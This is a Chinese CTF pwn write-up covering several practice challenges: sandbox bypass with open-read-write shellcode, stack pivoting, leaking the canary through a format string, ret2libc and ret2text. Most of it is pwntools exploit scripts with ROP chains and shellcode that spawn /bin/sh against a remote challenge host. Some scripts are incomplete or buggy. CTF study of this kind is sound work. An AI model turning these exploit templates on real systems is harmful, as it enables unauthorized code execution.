#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./easyrop1')
p=remote('1.95.36.136', 2148)
#p = process('./easyrop1')



pop_rdi=0x0000000000400813
ret_addr=0x0000000000400569
bin_sh=0x000000000601050
system_addr=0x00000000400590

payload= b'a'*(0x70+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
sl(payload)


inter()

try_sandbox

2024.11.2

日常检查一下

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec pwn1
[*] '/home/bbq/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

ida里面看看

1
2
3
4
5
6
7
8
9
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_4012E5(a1, a2, a3);
mmap(0x166000, 0x1000uLL, 7, 34, -1, 0LL);
sandox();
stack();
return 0LL;
}

有沙箱,看一下过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
seccomp-tools dump ./pwn


bbq@ubuntu:~$ seccomp-tools dump ./pwn1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
bbq@ubuntu:~$

image-20241102192419015

没啥用感觉

就像是ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn1')
#p=remote('',)
p = process('./pwn1')

pop_rdi=0x00000000004013f3
pop_rsi_r15=0x00000000004013f1
payload= (0x40+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
s(payload)

write_addr=get_addr64()
pr(hex(write_addr))


inter()

我说他开头说啥呢?

原来是

image-20241103144019963

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

#io = process("./pwn1")
io = remote("1.95.36.136", 2074)

elf = ELF("./pwn1")
#libc = ELF("./libc.so")
#context(arch=elf.arch, os=elf.os)
#context.log_level = 'debug'
context(os='linux',arch='amd64',log_level='debug')
def dbg():
gdb.attach(io)
pause()

jmp_rsp = 0x0000000000401334
mmap = 0x166000

def Orw():
orw = shellcraft.open("./flag")
orw += shellcraft.read(3, mmap, 0x50)
orw += shellcraft.write(1,mmap, 0x50)
return orw

def Pay():
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm('mov rax,0x166000\ncall rax\n')
payload = payload.ljust(0x48, b'\x00')
payload += p64(jmp_rsp) + asm('sub rsp,0x50;jmp rsp')
#print(payload)
return payload

orw = asm(Orw())
payload = Pay()

#dbg()
io.sendline(payload)
io.sendline(orw)

io.interactive()

8字节能干什么

2024.11.3

看名字就知道是栈迁移了

1
2
3
4
5
6
7
8
9
10
int vuln()
{
int buf[11]; // [esp+8h] [ebp-30h] BYREF

memset(buf, 0, 40);
read(0, buf, 0x38u);
printf("%s", buf);
read(0, buf, 0x38u);
return printf("%s", buf);
}

显而易见了

日常检查一下

1
2
3
4
5
6
7
8
9
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
llq@llq-virtual-machine:~$

这里没有/bin/sh

应该还是迁移到栈上

找一下buf栈顶到ebp的距离

image-20241103155201177

1
2
Python>0xffab8268-0xffab8228
0x40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
#p.send(a)
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='i386',log_level='debug')

#context(os='linux',log_level='debug')
#context.arch = elf.arch
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


elf=ELF('./1111')
p=remote('1.95.36.136', 2123)
#p = process('./1111')



payload=b'a'*0x2f+b'b'
#bug()
s(payload)
rl("b")


rsp=ebp=u32(p.recv(4))- 0x40
#get_addr32()-0x40
pr(hex(rsp))



sys=0x080483e0
ret_addr= 0x0804838a
leave_ret=0x08048488


payload1=b'aaaa'+p32(sys)+p32(ret_addr)+p32(rsp+0x10)+b"/bin/sh"
payload1=payload1.ljust(0x30,b'\x00')

payload1+=p32(rsp)+p32(leave_ret)
#print(type(payload1))

#s(payload2)
#s("a")
s(payload1)
#p.send(payload1)

#p.recv()

inter()

choose-找不到libc版本

2024.11.4

日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec pwn2
[*] '/home/bbq/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to the PolarNight August CTF!\nLet go!");
while ( 1 )
{
menu();
choose();
}
}


int menu()
{
puts("Choose ur challenge:");
puts("1.Format");
puts("2.Leak Libc");
return puts("3.Buf overflow");
}



unsigned __int64 choose()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
__isoc99_scanf("%d", &v1);
switch ( v1 )
{
case 1:
format();
break;
case 2:
leaklibc();
break;
case 3:
overflow();
break;
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 format()
{
__int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x28uLL);
printf((const char *)buf);
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 leaklibc()
{
int v0; // eax
__int64 buf[3]; // [rsp+0h] [rbp-30h] BYREF
int v3; // [rsp+18h] [rbp-18h]
__int16 v4; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v3 = 0;
v4 = 0;
read(0, buf, 0x1EuLL);
v0 = atoi((const char *)buf);
puts((const char *)v0);
return __readfsqword(0x28u) ^ v5;
}


unsigned __int64 overflow()
{
__int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50uLL);
return __readfsqword(0x28u) ^ v2;
}

看也看出来了

选择一泄露canary,选择2泄露libc基址,选择三正常打栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn2')
#p=remote('',)
p = process('./pwn2')


rla('flow\n',b'1')


payload2='%7$p'
io.sendlineafter("Right on! So do you know what a canary is?",payload2)
io.recv()
canary=int(io.recv(18),16) #这里是用字符串形式输出的,所以要int转为16进制
pr(hex(canary))


inter()

可以看出偏移为6这回我们可以泄露一下canary的值了

fmt泄露canary

每次做题都得翻一下笔记,so准备详细记一下

第一步:确定偏移

image-20241104140917834

知道偏移是六。

第二步:确认canary距离我们输入rsp的距离

gdb运行

1
2
3
4
gdb pwn2
b main(b *运行到read输入的地址)
r
stack 20

image-20241104143953065

地址减一下

1
2
Python>0x7fffffffde48-0x7fffffffde20
0x28

但这里我想直接在ida里面看一下会更简单

首先看一下汇编代码找到canary的位置

image-20241104144350457

在看一下栈的位置

image-20241104144509834

最后:确定最终字节

除以8字节,为5,得到5+6=11

然后就可以正常泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')



#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('./libc6_2.18-0ubuntu3_amd64.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn2')
p=remote('1.95.36.136',2086)
#p = process('./pwn2')

#canary
sla('flow\n',b'1')
payload2='%11$p'
#bug()
s(payload2)
canary=int(p.recv(18),16) #这里是用字符串形式输出的,所以要int转为16进制
pr(hex(canary))

#libc_base
sla('flow\n','2')

#sleep(1)
pop_rdi=0x0000000000400a93
ret_addr=0x00000000004005f1

puts_got = elf.got['puts']
pay1 = p64(puts_got)
s(str(puts_got))
puts_addr=get_addr64()

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base+libc.dump("system")
bin_addr = libc_base+libc.dump("str_bin_sh")
'''
libc_base=puts_addr-libc.sym['puts']
pr(hex(libc_base))
system_addr,bin_sh=get_sb()
'''

#overflow
sla('flow\n',b'3')

payload=b'a'*(0x30-8)+p64(canary)+b'a'*8+p64(pop_rdi)+p64(bin_addr)+p64(sys_addr)
#bug()
s(payload)

inter()

不到为什么,还是打不通了

格式化

2024.11.5

简单检查一下

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec 1111
[*] '/home/bbq/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

看着不难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[200]; // [rsp+0h] [rbp-D0h] BYREF
unsigned __int64 v5; // [rsp+C8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gets(format);
printf(format);
gets(format);
printf(format);
return 0;
}

看着不难

应该就是第一个gets泄露canary第二个gets打栈溢出

首先找一下偏移

image-20241105205304486

知道偏移为6后

找一下canary距离栈的位置就行

确定为25+6=31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2086)
#p = process('./1111')


payload1=b'%31$p'
#bug()
#bug()
sl(payload1)
#rl("0x")
#p.recv()
canary=int(p.recv(18),16) #这里是用字符串形式输出的,所以要int转为16进制
pr(hex(canary))


backdoor=0x000000000400805
payload2=b'a'*(0xd0-8)+p64(canary)+p64(0xdeabeef)+p64(backdoor)
#bug()
sl(payload2)
inter()

ret2libc-找不到libc版本

2024.11.6

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec ret2libc
[*] '/home/bbq/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

丢进ida里面看看

很基础哈

没啥说的

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[112]; // [rsp+0h] [rbp-70h] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gets(s);
puts(s);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./ret2libc')
p=remote('1.95.36.136', 2084)
#p = process('./ret2libc')


pop_rdi=0x0000000000400753
ret_addr=0x0000000000400509
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
sl(payload)

puts_addr=get_addr64()
pr(hex(puts_addr))

'''
libc_base=puts_addr-libc.sym['puts']
pr(hex(libc_base))
system_addr,bin_sh=get_sb()
'''

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
pr(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")




payload2= flat([b'a'*(0x70+8),ret_addr,pop_rdi,bin_sh,system_addr])
sl(payload2)

inter()

本地能打通,远程通不了,基址也是对的,环境问题吧
跟上面那道差不多一个问题

Choice

没啥说的简单的后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("请输入要进行的操作(数字):");
puts("Menu:");
puts("1.新增数据:");
puts("2.删除数据:");
puts("3.查询数据:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
Data1();
}
else if ( v4 == 2 )
{
Data2();
}
else
{
Data3();
}
return 0;
}


int Data1()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("请输入新增数据的名字:");
read(0, buf, 0x35uLL);
return printf("输入完成!");
}

int Data2()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("请输入要删除数据的名字:");
read(0, buf, 0x35uLL);
return printf("输入完成!");
}

int Data3()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("请输入要查询数据的名字:");
read(0, buf, 0x50uLL);
return printf("输入完成!");
}

选三就行,正常的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./Choice')
#p=remote('1.95.36.136', 2084)
p = process('./Choice')


backdoor=0x0000000004007BD
sla('查询数据:\n',b'3')
payload=b'a'*(0x30+8)+p64(backdoor)

s(payload)
inter()

x64

日常检查

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec x64
[*] '/home/bbq/x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

没啥说的,直接ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p=remote('1.95.36.136', 2085)
elf=ELF('x64')



pop_rdi=0x00000000004007e3
ret_addr=0x0000000000400549
sh_addr=0x000000000601060
system_addr=0x000000000400560
payload=b'a'*(0x80+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)

p.send(payload)
p.interactive()

你是大佬还是菜鸡

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec pwn
[*] '/home/bbq/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p=remote(' 1.95.36.136', 2105)
elf=ELF('pwn')



pop_rdi=0x0000000000400933
ret_addr=0x0000000000400549
bin_sh=0x0000000004009A9
system_addr=0x000000000400600
payload=b'a'*(0x80+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)

p.send(payload)
p.interactive()

play

2024.11.6

日常检查

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec play
[*] '/home/bbq/play'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

看了一眼主函数

1
2
3
4
5
6
7
8
9
10
__int64 play()
{
char v1[48]; // [rsp+0h] [rbp-30h] BYREF

puts("I think you must enjoy playing.");
read(0, &buf, 0x64uLL);
puts("Name your favorite game?");
gets(v1);
return 0LL;
}

前面的buf实在bss段上的,so就是shellcode的无疑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

#p = process('./play')
p = remote('1.95.36.136', 2092)
context(os='linux',arch='amd64',log_level='debug')


shellcode = asm(shellcraft.sh())



buf_addr = 0x0000000006010A0

p.sendlineafter('playing.\n',shellcode)

payload1=b'a'*(0x30+8)+p64(buf_addr)
#gdb.attach(p)
#pause()
p.sendline(payload1)

p.interactive()

name4

日常检查

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec name4
[*] '/home/bbq/name4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int Start()
{
char s[20]; // [esp+8h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-Ch]

v2 = 0;
puts("Enter your name:");
read(0, name, 0x40u);
puts("Enter your best friend name:");
read(0, &::s, 0x40u);
if ( name[0] )
return write(1, "Are you OK?", 0xEu);
puts("give you stack overflow:");
gets(s);
return printf("byebye%s\n", name);
}

看着if条件语句是一个绕过

我们用空字符绕过一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#from LibcSearcher import *
#p = process('./name4')
p = remote('1.95.36.136', 2084)
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./name4')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#payload1=b'a'*(0x30+8)+p64(buf_addr)
#gdb.attach(p)
#pause()
p.sendlineafter('your name:\n',b'\x00')
p.sendlineafter('friend name:\n',b'\x00')

payload=b'a'*(0x20+4)+ p32(elf.plt['puts']) + p32(0x80485F1) + p32(elf.got['puts'])
p.sendline(payload)

puts_addr=u32(p.recvuntil("\xf7")[-4:])
print(hex(puts_addr))


libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))

system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

'''
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
'''

p.sendlineafter('your name:\n',b'\x00')
p.sendlineafter('friend name:\n',b'\x00')

payload1 =b'A'*(0x20+4)+p32(system_addr)+b'AAAA'+p32(bin_sh)
#gdb.attach(p)
#pause()
p.sendline(payload1)


p.interactive()

md,这个libcsearch没找到,得自己找

sleep-找不到libc版本

跟上面做法差不多

直接贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#from LibcSearcher import *
#p = process('./name4')
p = remote('1.95.36.136', 2084)
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./name4')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#payload1=b'a'*(0x30+8)+p64(buf_addr)
#gdb.attach(p)
